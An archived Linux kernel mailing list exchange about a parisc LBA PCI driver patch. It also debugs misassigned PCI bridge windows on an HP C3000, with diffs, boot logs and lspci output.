Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UiA9S-0002wF-Fw
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 23:12:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758235Ab3E3VMt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 17:12:49 -0400
Original-Received: from mail-ie0-f171.google.com ([209.85.223.171]:65449 "EHLO
	mail-ie0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754896Ab3E3VMr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 17:12:47 -0400
Original-Received: by mail-ie0-f171.google.com with SMTP id s9so1926533iec.16
        for <linux-parisc@vger.kernel.org>; Thu, 30 May 2013 14:12:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=07889/ZepqpaCEM5Gt5xD2m8MeO62Tndvs+snZQLl8Q=;
        b=Rgr36x405VnZd+imiQlxTA5JkyFp8I9f/bBBj0J9JNnqzx3s4Ex3pic/scKmDIPOm5
         3lPdjs+xzeEsoqucn4Yq2jCEG+7SVM5LvjYB1JnOKN6W7I7x6OgNONiMbcrCxY1XoyY/
         kWgzcdo+ZtTzw/cBtOaRnTUe1MQ9j9M1V2Bfgr5cGXmgOwpqXe8tLp8HDvbvRst48dRV
         KVG+/c5fAlRM+WjSVHKBv+pZMRp6DzlY+wIbYL9GgiWblk2S560Jsib2z18KSl73ywwg
         2uDAvTI2EepOUZofLg77xs2qXOo9rkawW9VfKQybL2IT2TitzS/hL52V0E16Ftx1R8S4
         Skow==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent
         :x-gm-message-state;
        bh=07889/ZepqpaCEM5Gt5xD2m8MeO62Tndvs+snZQLl8Q=;
        b=bSb40I5EMegn2lnuRlN2o4PoOJEcflmMB2AYT9iOaVZeZnIR1N4VLWPl07+OrtguDU
         CXQpOGxRHdTHGhhazM1yhOhDmyZ54/qhBK1RMQPT3Y25eeZ28/pJCh7nVqEIeRE7MtzU
         0XAviljyPpIEMQxOqY3mOTZKkTse6321MUoc9DHNC46uiJGgHsQzU+VSZLn01wRzrgjz
         p3OfmQFDpnvsJ96gnuBKipEqRD4Z25zUjAoVdusRJQjLOZmEJMTkgN9frfAQXeH/YY5D
         SvOrinW3S4JvzcVtXc+lVMx+GbPM2gzzQdtdvsThi+wBat7YMwhZjm8McEOIBwcEMLYL
         wWuw==
X-Received: by 10.50.41.41 with SMTP id c9mr245689igl.79.1369948367097;
        Thu, 30 May 2013 14:12:47 -0700 (PDT)
Original-Received: from google.com ([172.29.126.145])
        by mx.google.com with ESMTPSA id wn10sm161314igb.2.2013.05.30.14.12.46
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Thu, 30 May 2013 14:12:46 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <51A7ACBF.4030601@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Gm-Message-State: ALoCoQmIgJ0amJhn9ZbNdk3odhMhlskWy0MFsFrzXGp3a0LzUEZtWWBRzzCtwAwxDQbvTIuJtOQPFadD+IyGBgJN5QaesdbviewmYp27K8c4e/S9yd+vLramZEF+5PxMbZtiIFtIV0iVEYkFmowlCN502i7H034DepRg8GdQppSAOT8HEfVGDUpd5ZSG35RZrl0DnaQ89G/g9mhBbglx4WJDhFeXe8y2Sw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5111 gmane.linux.kernel.pci:22779
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5111>

[+cc linux-pci]

On Thu, May 30, 2013 at 09:47:11PM +0200, Helge Deller wrote:
> Hi Bjorn,
> 
> On 05/30/2013 08:04 PM, Bjorn Helgaas wrote:
> > On Thu, May 30, 2013 at 8:10 AM, Helge Deller <deller@gmx.de> wrote:
> >> This commit dc7dce280a26d069ad5a58bf3da86e5e83415c65
> >> Author: Bjorn Helgaas <bhelgaas@google.com>
> >> Date:   Fri Oct 28 16:27:27 2011 -0600
> >>    parisc/PCI: lba: convert to pci_create_root_bus() for correct root bus
> >>                     resources
> >>
> >>   Supply root bus resources to pci_create_root_bus() so they're correct
> >>   immediately.  This fixes the problem of "early" and "header" quirks seeing
> >>   incorrect root bus resources.
> >>
> >> forgot to set the IORESOURCE_BUS bus flag which led to incorrect resource
> >> assignments and a non-working stifb framebuffer on most parisc machines.
> >>
> >> LBA 10:1: PCI host bridge to bus 0000:01
> >> pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
> >> pci_bus 0000:01: root bus resource [mem 0xfffffffffa000000-0xfffffffffbffffff] (bus address [0xfa000000-0xfbffffff])
> >> pci_bus 0000:01: root bus resource [mem 0xfffffffff4800000-0xfffffffff4ffffff] (bus address [0xf4800000-0xf4ffffff])
> >> pci_bus 0000:01: root bus resource [??? 0x00000001 flags 0x0]
> >>
> >> Signed-off-by: Helge Deller <deller@gmx.de>
> >>
> >> diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
> >> index 2ef7103..29f3d7d 100644
> >> --- a/drivers/parisc/lba_pci.c
> >> +++ b/drivers/parisc/lba_pci.c
> >> @@ -1494,7 +1494,7 @@ lba_driver_probe(struct parisc_device *dev)
> >>
> >>         pci_add_resource_offset(&resources, &lba_dev->hba.io_space,
> >>                                 HBA_PORT_BASE(lba_dev->hba.hba_num));
> >> -       if (lba_dev->hba.elmmio_space.start)
> >> +       if (lba_dev->hba.elmmio_space.flags)
> > 
> > Commit dc7dce280a added this test of "elmmio_space.start", which
> > indeed looks like it should be for "flags" instead.
> 
> Great!
> Since I have no real knowledge about PCI, could you maybe comment on these
> other ".start -> .flags" changes as well ?
> 
> --- a/drivers/parisc/lba_pci.c
> +++ b/drivers/parisc/lba_pci.c
> @@ -668,7 +668,7 @@ lba_fixup_bus(struct pci_bus *bus)
>                         BUG();
>                 }
>  
> -               if (ldev->hba.elmmio_space.start) {
> +               if (ldev->hba.elmmio_space.flags) {
>                         err = request_resource(&iomem_resource,
>                                         &(ldev->hba.elmmio_space));
>                         if (err < 0) {
> @@ -993,7 +993,7 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
>  
>                 case PAT_LMMIO:
>                         /* used to fix up pre-initialized MEM BARs */
> -                       if (!lba_dev->hba.lmmio_space.start) {
> +                       if (!lba_dev->hba.lmmio_space.flags) {
>                                 sprintf(lba_dev->hba.lmmio_name,
>                                                 "PCI%02x LMMIO",
>                                                 (int)lba_dev->hba.bus_num.start);
> @@ -1001,7 +1001,7 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
>                                         io->start;
>                                 r = &lba_dev->hba.lmmio_space;
>                                 r->name = lba_dev->hba.lmmio_name;
> -                       } else if (!lba_dev->hba.elmmio_space.start) {
> +                       } else if (!lba_dev->hba.elmmio_space.flags) {
>                                 sprintf(lba_dev->hba.elmmio_name,
>                                                 "PCI%02x ELMMIO",
>                                                 (int)lba_dev->hba.bus_num.start);
> 

I think the above changes look fine, too.  I don't think they'll fix
any current problems, but it seems good to make all the tests use
"flags" consistently.

> Maybe you could help me with another problem which I have with my C3000 as well?
> 
> That's the current log:
> Found devices:
> 1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
> 2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
> 3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
> 4. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
> 5. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
> 6. Allegro W2 at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
> 7. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
> CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
> Whole cache flush 492314 cycles, flushing 7983104 bytes 1594427 cycles
> Setting cache flush threshold to 180000 (1 CPUs online)
> SBA found Astro 2.1 at 0xfffffffffed00000

> Elroy version TR4.0 (0x5) found at 0xfffffffffed30000
> LBA 10:0: PCI host bridge to bus 0000:00
> pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
> pci_bus 0000:00: root bus resource [mem 0xfffffffff2000000-0xfffffffff23fffff] (bus address [0xf2000000-0xf23fffff])
> pci_bus 0000:00: root bus resource [bus 00]
> pci 0000:00:0c.0: [1011:0019] type 00 class 0x020000
> pci 0000:00:0c.0: reg 10: [io  0x1000-0x107f]
> pci 0000:00:0c.0: reg 14: [mem 0xfffffffff2008000-0xfffffffff20083ff]
> pci 0000:00:0c.0: reg 30: [mem 0xfffffffff2040000-0xfffffffff207ffff pref]
> pci 0000:00:0d.0: [11d4:1889] type 00 class 0x040100
> pci 0000:00:0d.0: reg 10: [mem 0xfffffffff200c000-0xfffffffff200c1ff pref]
> pci 0000:00:0d.0: reg 14: [mem 0xfffffffff200b000-0xfffffffff200b00f pref]
> pci 0000:00:0d.0: reg 18: [mem 0xfffffffff200a000-0xfffffffff200a00f pref]
> pci 0000:00:0d.0: reg 1c: [mem 0xfffffffff2009000-0xfffffffff200900f pref]
> pci 0000:00:0d.0: supports D2
> pci 0000:00:0e.0: [100b:0002] type 00 class 0x01018a
> PCI: Enabled native mode for NS87415 (pif=0x8f)
> pci 0000:00:0e.0: reg 10: [io  0x0f00-0x0f07]
> pci 0000:00:0e.0: reg 14: [io  0x0e00-0x0e03]
> pci 0000:00:0e.0: reg 18: [io  0x0d00-0x0d07]
> pci 0000:00:0e.0: reg 1c: [io  0x0b00-0x0b03]
> pci 0000:00:0e.0: reg 20: [io  0x0a00-0x0a0f]
> pci 0000:00:0e.1: [100b:000e] type 00 class 0x068000
> pci 0000:00:0e.2: [100b:0012] type 00 class 0x0c0310
> pci 0000:00:0e.2: reg 10: [mem 0xfffffffff2007000-0xfffffffff2007fff]
> pci 0000:00:0e.2: reg 14: [mem 0xfffffffff2006000-0xfffffffff2006fff]
> pci 0000:00:0f.0: [1000:000b] type 00 class 0x010000
> pci 0000:00:0f.0: reg 10: [io  0x0900-0x09ff]
> pci 0000:00:0f.0: reg 14: [mem 0xfffffffff2005000-0xfffffffff20053ff 64bit]
> pci 0000:00:0f.0: reg 1c: [mem 0xfffffffff2002000-0xfffffffff2003fff 64bit]
> pci 0000:00:0f.0: supports D1 D2
> pci 0000:00:0f.1: [1000:000b] type 00 class 0x010000
> pci 0000:00:0f.1: reg 10: [io  0x0800-0x08ff]
> pci 0000:00:0f.1: reg 14: [mem 0xfffffffff2004000-0xfffffffff20043ff 64bit]
> pci 0000:00:0f.1: reg 1c: [mem 0xfffffffff2000000-0xfffffffff2001fff 64bit]
> pci 0000:00:0f.1: supports D1 D2

> Elroy version TR4.0 (0x5) found at 0xfffffffffed32000
> LBA 10:1: PCI host bridge to bus 0000:01
> pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
> pci_bus 0000:01: root bus resource [mem 0xfffffffff6000000-0xfffffffff6ffffff] (bus address [0xf6000000-0xf6ffffff])

16MB window (probably "directed range").

> pci_bus 0000:01: root bus resource [mem 0xfffffffff2400000-0xfffffffff27fffff] (bus address [0xf2400000-0xf27fffff])

4MB window (probably "distributed range").

> pci_bus 0000:01: root bus resource [bus 01-02]
> pci 0000:01:04.0: [103c:1005] type 00 class 0x038000
> pci 0000:01:04.0: reg 10: [mem 0xf6000000-0xf7ffffff]

This BAR requires 32MB, so it doesn't fit inside the window.

Has this device ever worked on Linux, or do you know if it works on HP-UX?
If so, our idea of the LBA 10:1 bridge windows is probably wrong.  There
is no generic mechanism for LBA window workarounds (i.e., nothing like
the PCI quirk mechanism), but you might be able to detect and work
around this issue in lba_pat_resources() or lba_legacy_resources().
Of course, you have to know where to get the correct window info.  It
looks like lba_legacy_resources() reads that directly from hardware
via sba_distributed_lmmio() and sba_directed_lmmio().  I'd be surprised
if the hardware registers gave the wrong values, since they're probably
used directly for routing.

> pci 0000:01:04.0: reg 30: [mem 0xfffffffff2400000-0xfffffffff240ffff pref]
> pci 0000:01:05.0: [121a:0002] type 00 class 0x040000
> pci 0000:01:05.0: reg 10: [mem 0xf8000000-0xf8ffffff pref]

Also wrong because it doesn't fit in any window we know about.

> pci 0000:01:06.0: [3388:0021] type 01 class 0x060400
> pci 0000:01:06.0: supports D1 D2
> pci 0000:01:06.0: PME# supported from D1 D2 D3hot D3cold
> pci 0000:01:04.0: no compatible bridge window for [mem 0xf6000000-0xf7ffffff]
> 
> ^^ HERE ^^^
> That's actually the problem.
> pci 0000:01:04.0, pci 0000:01:05.0 and maybe pci 0000:01:06.0 should be:
> pci 0000:00:04.0, pci 0000:00:05.0 and maybe pci 0000:00:06.0.
> 
> This problem is documented in lba_pci.c as a bug on the C3000 machines, that
> everything listed under PCI02 actually lives under PCI00.
> Just search for the lengthy comment in lba_pci.c (search for keyword C3000).
> 
> Can you maybe give me some hints how I can build a proper workaround for that problem?
> Is there any similar workaround in the pci codebase which I haven't found yet?
> The reference code in lba_pci.c doesn't compile any longer, but maybe 
> it's possible to reactivate it somehow?
> 
> 
> iosapic: no IRTE for 0000:01:04.0 (IRQ not connected?)
> pci 0000:01:05.0: no compatible bridge window for [mem 0xf8000000-0xf8ffffff pref]
> iosapic: no IRTE for 0000:01:05.0 (IRQ not connected?)
> pci_bus 0000:02: busn_res: can not insert [bus 02-ff] under [bus 01-02] (conflicts with (null) [bus 01-02])

The PCI core does know that LBA 10:0 leads only to [bus 01-02], but maybe
we try to set the end of the range higher during enumeration, in case we
find bridges?  We *shouldn't* go past bus 02 though, because then we might
falsely believe a device on bus 03 was under this LBA.  I'm not sure what's
going on here.

> pci 0000:02:00.0: [102b:0525] type 00 class 0x030000
> pci 0000:02:00.0: reg 10: [mem 0xfa000000-0xfbffffff pref]
> pci 0000:02:00.0: reg 14: [mem 0xf9800000-0xf9803fff]
> pci 0000:02:00.0: reg 18: [mem 0xf9000000-0xf97fffff]
> pci 0000:02:00.0: reg 30: [mem 0xf9820000-0xf983ffff pref]

These are all wrong, too.

> pci 0000:01:06.0: PCI bridge to [bus 02-ff]
> 
> ^^^^ HERE ^^^^
> Should this be something like (in **): ?
>    pci 0000:01:06.0: PCI bridge to *BUS 02-ff* [bus 02-ff
> But probably it's related to the C3000 bug mentioned above.
>    
> 
> pci 0000:01:06.0:   bridge window [io  0x0000-0x0fff]

Something's wrong here, too.  The host bridge I/O window is
[io  0x12000-0x13fff] (bus address [0x2000-0x3fff]), and this
P2P bridge window is not inside it.

> pci 0000:01:06.0:   bridge window [mem 0xf9000000-0xfbffffff]

This looks wrong, too.

> pci 0000:01:06.0:   bridge window [mem 0xffffffff00000000-0xffffffff000fffff 64bit pref]
> pci 0000:01:06.0: address space collision: [io  0x0000-0x0fff] conflicts with PCI01 Ports [io  0x12000-0x13fff]
> pci 0000:01:06.0: no compatible bridge window for [mem 0xf9000000-0xfbffffff]
> pci 0000:01:06.0: no compatible bridge window for [mem 0xffffffff00000000-0xffffffff000fffff 64bit pref]
> pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]

I don't know what's going on here -- looks like that resource is all zeroes?

> pci_bus 0000:02: busn_res: [bus 02-ff] end is updated to 02
> pci 0000:01:06.0: device not available (can't reserve [io  0x0000-0x0fff])
> pci 0000:01:06.0: Error enabling bridge (-22), continuing

> Elroy version TR4.0 (0x5) found at 0xfffffffffed38000
> LBA 10:4: PCI host bridge to bus 0000:03
> pci_bus 0000:03: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
> pci_bus 0000:03: root bus resource [mem 0xfffffffff3000000-0xfffffffff33fffff] (bus address [0xf3000000-0xf33fffff])
> pci_bus 0000:03: root bus resource [bus 03]
> pci 0000:03:01.0: [12ae:0001] type 00 class 0x020000
> pci 0000:03:01.0: reg 10: [mem 0xfffffffff3000000-0xfffffffff3003fff]
> pci 0000:03:03.0: [1011:0019] type 00 class 0x020000
> pci 0000:03:03.0: reg 10: [io  0x28000-0x2807f]
> pci 0000:03:03.0: reg 14: [mem 0xfffffffff3004000-0xfffffffff300407f]
> pci 0000:03:03.0: reg 30: [mem 0xfffffffff3040000-0xfffffffff307ffff pref]
> Elroy version TR4.0 (0x5) found at 0xfffffffffed3c000
> .....

Wow, this is a real train wreck.  Has this configuration ever worked under
Linux?  Does it work under HP-UX?  Maybe it has devices that aren't
officially supported and the firmware did the wrong thing?  (Though it'd
still be nice if Linux did something more sensible than this.)

Sorry, no answers :)

Bjorn
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci
Subject: Re: [PATCH] parisc/PCI: lba: fix: convert to pci_create_root_bus()
 for correct root bus resources
Date: Thu, 30 May 2013 23:40:51 +0200
Lines: 217
Approved: news@gmane.org
Message-ID: <51A7C763.4080704@gmx.de>
References: <20130530141033.GA3665@ls3530.box> <CAErSpo69AxKgz8Dg8+T7n5jsuOzdSoCUstqrX+uUh8TZ08ayqg@mail.gmail.com> <51A7ACBF.4030601@gmx.de> <20130530211244.GA28735@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369950058 32227 80.91.229.3 (30 May 2013 21:40:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 May 2013 21:40:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-pci@vger.kernel.org
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 30 23:40:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UiAae-0007en-Mn
	for glpp-linux-parisc@plane.gmane.org; Thu, 30 May 2013 23:40:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757925Ab3E3Vk4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 30 May 2013 17:40:56 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:60685 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757908Ab3E3Vky (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 30 May 2013 17:40:54 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.29]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MfCFw-1V5lzL0lhq-00OqC4 for
 <linux-parisc@vger.kernel.org>; Thu, 30 May 2013 23:40:53 +0200
Original-Received: (qmail invoked by alias); 30 May 2013 21:40:52 -0000
Original-Received: from p54AD0C3F.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.12.63]
  by mail.gmx.net (mp029) with SMTP; 30 May 2013 23:40:52 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/lnINok5Hl9MVPE4efrO95zWhro5nE86LC7YdC+A
	ycFUEeVFuCq1vG
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <20130530211244.GA28735@google.com>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5112 gmane.linux.kernel.pci:22780
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5112>

On 05/30/2013 11:12 PM, Bjorn Helgaas wrote:
> On Thu, May 30, 2013 at 09:47:11PM +0200, Helge Deller wrote:
>> Maybe you could help me with another problem which I have with my C3000 as well?
>>
>> That's the current log:
>> Found devices:
>> 1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
>> 2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
>> 3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
>> 4. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
>> 5. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
>> 6. Allegro W2 at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
>> 7. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
>> CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
>> Whole cache flush 492314 cycles, flushing 7983104 bytes 1594427 cycles
>> Setting cache flush threshold to 180000 (1 CPUs online)
>> SBA found Astro 2.1 at 0xfffffffffed00000
> 
>> Elroy version TR4.0 (0x5) found at 0xfffffffffed30000
>> LBA 10:0: PCI host bridge to bus 0000:00
>> pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
>> pci_bus 0000:00: root bus resource [mem 0xfffffffff2000000-0xfffffffff23fffff] (bus address [0xf2000000-0xf23fffff])
>> pci_bus 0000:00: root bus resource [bus 00]
>> pci 0000:00:0c.0: [1011:0019] type 00 class 0x020000
>> pci 0000:00:0c.0: reg 10: [io  0x1000-0x107f]
>> pci 0000:00:0c.0: reg 14: [mem 0xfffffffff2008000-0xfffffffff20083ff]
>> pci 0000:00:0c.0: reg 30: [mem 0xfffffffff2040000-0xfffffffff207ffff pref]
>> pci 0000:00:0d.0: [11d4:1889] type 00 class 0x040100
>> pci 0000:00:0d.0: reg 10: [mem 0xfffffffff200c000-0xfffffffff200c1ff pref]
>> pci 0000:00:0d.0: reg 14: [mem 0xfffffffff200b000-0xfffffffff200b00f pref]
>> pci 0000:00:0d.0: reg 18: [mem 0xfffffffff200a000-0xfffffffff200a00f pref]
>> pci 0000:00:0d.0: reg 1c: [mem 0xfffffffff2009000-0xfffffffff200900f pref]
>> pci 0000:00:0d.0: supports D2
>> pci 0000:00:0e.0: [100b:0002] type 00 class 0x01018a
>> PCI: Enabled native mode for NS87415 (pif=0x8f)
>> pci 0000:00:0e.0: reg 10: [io  0x0f00-0x0f07]
>> pci 0000:00:0e.0: reg 14: [io  0x0e00-0x0e03]
>> pci 0000:00:0e.0: reg 18: [io  0x0d00-0x0d07]
>> pci 0000:00:0e.0: reg 1c: [io  0x0b00-0x0b03]
>> pci 0000:00:0e.0: reg 20: [io  0x0a00-0x0a0f]
>> pci 0000:00:0e.1: [100b:000e] type 00 class 0x068000
>> pci 0000:00:0e.2: [100b:0012] type 00 class 0x0c0310
>> pci 0000:00:0e.2: reg 10: [mem 0xfffffffff2007000-0xfffffffff2007fff]
>> pci 0000:00:0e.2: reg 14: [mem 0xfffffffff2006000-0xfffffffff2006fff]
>> pci 0000:00:0f.0: [1000:000b] type 00 class 0x010000
>> pci 0000:00:0f.0: reg 10: [io  0x0900-0x09ff]
>> pci 0000:00:0f.0: reg 14: [mem 0xfffffffff2005000-0xfffffffff20053ff 64bit]
>> pci 0000:00:0f.0: reg 1c: [mem 0xfffffffff2002000-0xfffffffff2003fff 64bit]
>> pci 0000:00:0f.0: supports D1 D2
>> pci 0000:00:0f.1: [1000:000b] type 00 class 0x010000
>> pci 0000:00:0f.1: reg 10: [io  0x0800-0x08ff]
>> pci 0000:00:0f.1: reg 14: [mem 0xfffffffff2004000-0xfffffffff20043ff 64bit]
>> pci 0000:00:0f.1: reg 1c: [mem 0xfffffffff2000000-0xfffffffff2001fff 64bit]
>> pci 0000:00:0f.1: supports D1 D2
> 
>> Elroy version TR4.0 (0x5) found at 0xfffffffffed32000
>> LBA 10:1: PCI host bridge to bus 0000:01
>> pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
>> pci_bus 0000:01: root bus resource [mem 0xfffffffff6000000-0xfffffffff6ffffff] (bus address [0xf6000000-0xf6ffffff])
> 
> 16MB window (probably "directed range").
> 
>> pci_bus 0000:01: root bus resource [mem 0xfffffffff2400000-0xfffffffff27fffff] (bus address [0xf2400000-0xf27fffff])
> 
> 4MB window (probably "distributed range").
> 
>> pci_bus 0000:01: root bus resource [bus 01-02]
>> pci 0000:01:04.0: [103c:1005] type 00 class 0x038000
>> pci 0000:01:04.0: reg 10: [mem 0xf6000000-0xf7ffffff]
> 
> This BAR requires 32MB, so it doesn't fit inside the window.
> 
> Has this device ever worked on Linux, or do you know if it works on HP-UX?

Yes, that's a simple HP graphics framebuffer card for HP-UX:
01:04.0 Display controller: Hewlett-Packard Company A4977A Visualize EG (rev 03)
        Flags: 66MHz, medium devsel
        Memory at f6000000 (32-bit, non-prefetchable) [size=32M]
        Expansion ROM at f2400000 [disabled] [size=64K]

> If so, our idea of the LBA 10:1 bridge windows is probably wrong.  There
> is no generic mechanism for LBA window workarounds (i.e., nothing like
> the PCI quirk mechanism), but you might be able to detect and work
> around this issue in lba_pat_resources() or lba_legacy_resources().
> Of course, you have to know where to get the correct window info.  It
> looks like lba_legacy_resources() reads that directly from hardware
> via sba_distributed_lmmio() and sba_directed_lmmio().  I'd be surprised
> if the hardware registers gave the wrong values, since they're probably
> used directly for routing.
> 
>> pci 0000:01:04.0: reg 30: [mem 0xfffffffff2400000-0xfffffffff240ffff pref]
>> pci 0000:01:05.0: [121a:0002] type 00 class 0x040000
>> pci 0000:01:05.0: reg 10: [mem 0xf8000000-0xf8ffffff pref]
> 
> Also wrong because it doesn't fit in any window we know about.

01:05.0 Multimedia video controller: 3Dfx Interactive, Inc. Voodoo 2 (rev 02)
        Flags: fast devsel
        Memory at f8000000 (32-bit, prefetchable) [size=16M]

-> from PC. IIRC, it worked once for me under Linux in this machine (when the C3000 workaround worked).

>> pci 0000:01:06.0: [3388:0021] type 01 class 0x060400
>> pci 0000:01:06.0: supports D1 D2
>> pci 0000:01:06.0: PME# supported from D1 D2 D3hot D3cold

01:06.0 PCI bridge: Hint Corp HB6 Universal PCI-PCI bridge (non-transparent mode) (rev 12) (prog-if 00 [Normal decode])
        Flags: bus master, fast Back2Back, medium devsel, latency 255
        Bus: primary=01, secondary=02, subordinate=02, sec-latency=255
        I/O behind bridge: 00000000-00000fff
        Memory behind bridge: f9000000-fbffffff
        Prefetchable memory behind bridge: ffffffff00000000-ffffffff000fffff
        Capabilities: [80] Power Management version 2
        Capabilities: [90] CompactPCI hot-swap <?>
        Capabilities: [a0] Vital Product Data

-> I don't know any longer what that is.
Will plug it out.

>> pci 0000:01:04.0: no compatible bridge window for [mem 0xf6000000-0xf7ffffff]
>>
>> ^^ HERE ^^^
>> That's actually the problem.
>> pci 0000:01:04.0, pci 0000:01:05.0 and maybe pci 0000:01:06.0 should be:
>> pci 0000:00:04.0, pci 0000:00:05.0 and maybe pci 0000:00:06.0.
>>
>> This problem is documented in lba_pci.c as a bug on the C3000 machines, that
>> everything listed under PCI02 actually lives under PCI00.
>> Just search for the lengthy comment in lba_pci.c (search for keyword C3000).
>>
>> Can you maybe give me some hints how I can build a proper workaround for that problem?
>> Is there any similar workaround in the pci codebase which I haven't found yet?
>> The reference code in lba_pci.c doesn't compile any longer, but maybe 
>> it's possible to reactivate it somehow?
>>
>>
>> iosapic: no IRTE for 0000:01:04.0 (IRQ not connected?)
>> pci 0000:01:05.0: no compatible bridge window for [mem 0xf8000000-0xf8ffffff pref]
>> iosapic: no IRTE for 0000:01:05.0 (IRQ not connected?)
>> pci_bus 0000:02: busn_res: can not insert [bus 02-ff] under [bus 01-02] (conflicts with (null) [bus 01-02])
> 
> The PCI core does know that LBA 10:0 leads only to [bus 01-02], but maybe
> we try to set the end of the range higher during enumeration, in case we
> find bridges?  We *shouldn't* go past bus 02 though, because then we might
> falsely believe a device on bus 03 was under this LBA.  I'm not sure what's
> going on here.
> 
>> pci 0000:02:00.0: [102b:0525] type 00 class 0x030000
>> pci 0000:02:00.0: reg 10: [mem 0xfa000000-0xfbffffff pref]
>> pci 0000:02:00.0: reg 14: [mem 0xf9800000-0xf9803fff]
>> pci 0000:02:00.0: reg 18: [mem 0xf9000000-0xf97fffff]
>> pci 0000:02:00.0: reg 30: [mem 0xf9820000-0xf983ffff pref]
> 
> These are all wrong, too.
> 
>> pci 0000:01:06.0: PCI bridge to [bus 02-ff]
>>
